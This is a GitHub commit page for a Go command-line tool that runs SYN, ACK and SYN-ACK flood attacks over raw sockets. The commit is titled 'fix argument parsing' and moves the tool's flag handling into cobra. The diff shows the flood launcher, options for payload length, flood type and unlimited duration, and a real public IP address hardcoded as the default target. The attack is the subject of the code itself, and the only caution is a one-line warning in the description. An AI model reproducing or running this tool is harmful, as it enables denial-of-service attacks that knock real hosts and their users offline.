Skip to content

Commit

Permalink
fix argument parsing
Browse files Browse the repository at this point in the history
  • Loading branch information
bilalcaliskan committed Jan 1, 2022
1 parent f850233 commit 19856c0
Show file tree
Hide file tree
Showing 3 changed files with 21 additions and 41 deletions.
43 changes: 21 additions & 22 deletions cmd/root.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,22 @@ import (
"github.com/spf13/cobra"
)

// init function initializes the cmd module
func init() {
opts := options.GetSynFloodOptions()

rootCmd.PersistentFlags().StringVarP(&opts.Host, "host", "",
"213.238.175.187", "Provide public ip or DNS of the target")
rootCmd.PersistentFlags().IntVarP(&opts.Port, "port", "", 443,
"Provide reachable port of the target")
rootCmd.PersistentFlags().IntVarP(&opts.PayloadLength, "payloadLength", "",
1400, "Provide payload length in bytes for each SYN packet")
rootCmd.PersistentFlags().StringVarP(&opts.FloodType, "floodType", "", "syn",
"Provide the attack type. Proper values are: syn, ack, synack")
rootCmd.PersistentFlags().Int64VarP(&opts.FloodDurationSeconds, "floodDurationSeconds",
"", -1, "Provide the duration of the attack in seconds, -1 for no limit, defaults to -1")
}

var (
// rootCmd represents the base command when called without any subcommands
rootCmd = &cobra.Command{
Expand All @@ -24,27 +40,26 @@ operations with Golang. It starts a syn flood attack with raw sockets.
Please do not use that tool with devil needs.
`,
Run: func(cmd *cobra.Command, args []string) {
opts := options.GetSynFloodOptions()
go func() {
if err = raw.StartFlooding(host, sfo.Port, sfo.PayloadLength, sfo.FloodType); err != nil {
if err = raw.StartFlooding(opts.Host, opts.Port, opts.PayloadLength, opts.FloodType); err != nil {
log.Fatalf("an error occured on flooding process: %s", err.Error())
}
}()

if sfo.FloodDurationSeconds != -1 {
ctx, cancel = context.WithDeadline(ctx, time.Now().Add(time.Duration(sfo.FloodDurationSeconds)*time.Second))
if opts.FloodDurationSeconds != -1 {
ctx, cancel = context.WithDeadline(ctx, time.Now().Add(time.Duration(opts.FloodDurationSeconds)*time.Second))
defer cancel()
}

for {
<-ctx.Done()
log.Printf("\n\nexecution completed with specified duration seconds %d\n", sfo.FloodDurationSeconds)
log.Printf("\n\nexecution completed with specified duration seconds %d\n", opts.FloodDurationSeconds)
os.Exit(0)
}
},
}
err error
sfo = options.GetSynFloodOptions()
host = sfo.Host
ctx = context.Background()
cancel context.CancelFunc
)
Expand All @@ -60,19 +75,3 @@ func Execute() {
os.Exit(1)
}
}

// init function initializes the cmd module
func init() {
opts := options.GetSynFloodOptions()

rootCmd.PersistentFlags().StringVarP(&opts.Host, "host", "",
"213.238.175.187", "Provide public ip or DNS of the target")
rootCmd.PersistentFlags().IntVarP(&opts.Port, "port", "", 443,
"Provide reachable port of the target")
rootCmd.PersistentFlags().IntVarP(&opts.PayloadLength, "payloadLength", "",
1400, "Provide payload length in bytes for each SYN packet")
rootCmd.PersistentFlags().StringVarP(&opts.FloodType, "floodType", "", "syn",
"Provide the attack type. Proper values are: syn, ack, synack")
rootCmd.PersistentFlags().Int64VarP(&opts.FloodDurationSeconds, "floodDurationSeconds",
"", -1, "Provide the duration of the attack in seconds, -1 for no limit, defaults to -1")
}
1 change: 0 additions & 1 deletion go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@ require (
github.com/google/gopacket v1.1.19
github.com/schollz/progressbar/v3 v3.8.5
github.com/spf13/cobra v1.3.0
github.com/spf13/pflag v1.0.5
github.com/stretchr/testify v1.7.0
golang.org/x/net v0.0.0-20211216030914-fe4d6282115f
)
18 changes: 0 additions & 18 deletions internal/options/options.go
Original file line number Diff line number Diff line change
@@ -1,16 +1,7 @@
package options

import (
"github.com/spf13/pflag"
)

var synFloodOptions = &SynFloodOptions{}

func init() {
synFloodOptions.addFlags(pflag.CommandLine)
pflag.Parse()
}

// GetSynFloodOptions returns the pointer of SynFloodOptions
func GetSynFloodOptions() *SynFloodOptions {
return synFloodOptions
Expand All @@ -29,12 +20,3 @@ type SynFloodOptions struct {
// FloodDurationSeconds is the duration of the attack with seconds. Defaults to -1 which means
FloodDurationSeconds int64
}

func (sfo *SynFloodOptions) addFlags(fs *pflag.FlagSet) {
fs.StringVar(&sfo.Host, "host", "213.238.175.187", "Provide public ip or DNS of the target")
fs.IntVar(&sfo.Port, "port", 443, "Provide reachable port of the target")
fs.IntVar(&sfo.PayloadLength, "payloadLength", 1400, "Provide payload length in bytes for each SYN packet")
fs.StringVar(&sfo.FloodType, "floodType", "syn", "Provide the attack type. Proper values are: syn, ack, synack")
fs.Int64Var(&sfo.FloodDurationSeconds, "floodDurationSeconds", -1,
"Provide the duration of the attack in seconds, -1 for no limit, defaults to -1")
}

0 comments on commit 19856c0

Please sign in to comment.